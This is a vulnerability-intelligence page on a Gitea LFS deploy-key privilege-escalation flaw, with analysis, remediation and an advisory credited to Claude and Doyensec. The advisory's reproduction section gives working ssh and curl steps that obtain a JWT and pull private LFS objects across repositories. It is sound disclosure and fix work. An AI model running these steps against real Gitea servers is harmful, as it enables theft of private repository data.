Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain write deploy key private key from CI/CD config
-
DeliverySSH git-lfs-authenticate to receive JWT with victim OwnerID
-
ExploitIdentify target LFS OID via public fork or prior access
-
ExecutionPOST batch upload to ci-repo with secret-repo OID
-
PersistGitea LFSObjectAccessible silently links object cross-repo
-
ImpactDownload exfiltrated LFS content via ci-repo HTTP endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Privilege assignment review
|
| Exploitation Conditions | Three specific conditions must all hold simultaneously. First, LFS must be explicitly enabled on the Gitea instance ( |
| Impact | The vendor-assigned CVSS 3.1 score is 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N), which materially underestimates real-world impact for two reasons. First, the confidentiality impact rated C:L does not reflect that a full LFS object (arbitrary binary content including secrets, credentials, or proprietary data) is fully disclosed once an OID is known - C:H is more accurate. Second, when the repository owner is a site administrator, the blast radius extends to every LFS object on the instance, not just one user's repos. The AC:L rating is also questionable: exploitation requires knowing a non-enumerable 256-bit SHA-256 OID through a prior information-disclosure path, a meaningful practical barrier. EPSS data is not available in the provided intelligence, so numerical exploitation probability cannot be stated. No CISA KEV listing exists, indicating no confirmed widespread active exploitation; however, a public PoC (poc.sh) is linked from the GitHub advisory, confirming the attack is reproducible. SSVC signals: exploitation status = PoC public; automatable = No (OID prerequisite is a hard dependency); technical impact = Partial to Total depending on victim privilege level. The vulnerability is a real priority for any Gitea instance with LFS enabled where CI/CD deploy keys are in use, particularly where any key holder also has access to admin-owned repositories. |
| Exploit ScenarioDerived | An attacker who extracted a write deploy key from a leaked CI/CD pipeline configuration authenticates to the target Gitea instance via SSH |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
LFS deploy-key privilege escalation in Gitea (< 1.27.0) allows a holder of a write deploy key for any single repository owned by a victim to exfiltrate LFS objects from all private repositories that victim owns. The flaw originates in routers/private/serv.go:275, where Gitea embeds repo.OwnerID as the JWT UserID for deploy-key SSH sessions, causing the LFS batch handler at services/lfs/server.go:268 to evaluate cross-repository authorization as if the repository owner - not the deploy key - were the requesting principal. If the victim is a Gitea site administrator, an unfiltered query in models/git/lfs.go:226 exposes every LFS object on the entire instance. A public end-to-end PoC (poc.sh) is attached to the GitHub advisory; no CISA KEV listing exists at time of analysis.
RemediationAI
Upgrade to Gitea 1.27.0, which resolves both the JWT identity confusion in serv.go and the cross-repository shortcut in server.go, as confirmed by the vendor release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and advisory GHSA-rh79-75qm-gwjr. If immediate upgrade is not feasible, the following compensating controls can reduce exposure. Setting LFS_START_SERVER = false in the Gitea configuration eliminates the attack surface entirely but disables LFS functionality for all users and repositories - a significant operational trade-off. Auditing and revoking write deploy keys on repositories owned by site administrators removes the highest-impact attack path (instance-wide exposure), though keys on any user's repositories remain a risk. As a targeted code-level interim patch, replacing the LFSObjectAccessible block in server.go:267 with exists = false (Fix 1 in the advisory) removes the cross-repo shortcut and forces proof-of-possession re-upload; the performance cost is one redundant upload per cross-repo object. Patch files are attached to the GitHub advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea is a self-hosted Git service written in Go; the affected package is code.gitea.io/gitea (CPE: pkg:go/code.gitea.io_gitea). CWE-266 (Incorrect Privilege Assignment) describes the root cause: deploy keys lack a proper first-class principal representation in Gitea's internal RPC layer. When a deploy key authenticates via SSH git-lfs-authenticate, the serv.go handler has no deploy-key identity to encode, so it falls back to repo.OwnerID with an acknowledged FIXME comment. This inflated identity is embedded verbatim into a server-signed JWT by cmd/serv.go. The LFS HTTP batch handler in server.go:268 subsequently calls LFSObjectAccessible(ctx, ctx.Doer, oid) using the UserID from that JWT to decide whether to silently create a cross-repository object link (NewLFSMetaObject), treating a CI/CD deploy key as if it were the human repository owner. The JWT's RepoID claim is verified at the HTTP routing level, but the cross-repo authorization decision is driven entirely by the incorrectly set UserID. For administrator-owned repositories, models/git/lfs.go:226 short-circuits all repo filtering with an unscoped COUNT(*) over the full lfs_meta_object table, amplifying the impact to instance-wide scope.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
AC:H reflects the hard OID-knowledge prerequisite; C:H reflects full LFS object disclosure once exploited; PR:L confirmed by write deploy key requirement.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |
| Severity Rating | High |
| Bug Category | Insufficient Authorization |
| Location | services/lfs/server.go:268, routers/private/serv.go:275 |
| Affected Versions | 1.25.5 |
Executive Summary
Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal - but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns - no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.
Root Cause Analysis
Technical Description
The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) - a global query across all repos the claimed user can see - to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.
First Faulty Condition
The primary bug - where the JWT UserID is set incorrectly - is in serv.go:
| File | routers/private/serv.go |
|---|---|
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252-278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}The secondary bug - where the tainted UserID is actually misused - is in server.go:
| File | services/lfs/server.go |
|---|---|
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267-275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table - no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests - not enumerable and not brute-forceable - and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive - after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin - represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)Exploit
# Step 1 - Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID - BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 - Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} - correctly blocked
# Step 3 - Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} - NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 - Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repoPoC files
- poc.sh - end-to-end PoC using real SSH deploy key
Recommended Fix
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 - services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about *other* repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions - the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Full patch: fix1.patch
Fix 2 - routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
- Add a
DeployKeyIDfield to the JWTClaimsstruct; teachhandleLFSTokento construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited). - Or mint a separate JWT type for deploy keys that
server.gotreats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-266 – Incorrect Privilege Assignment
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-58162
GHSA-rh79-75qm-gwjr
NVD
CVE.org
EPSS
Exploit-DB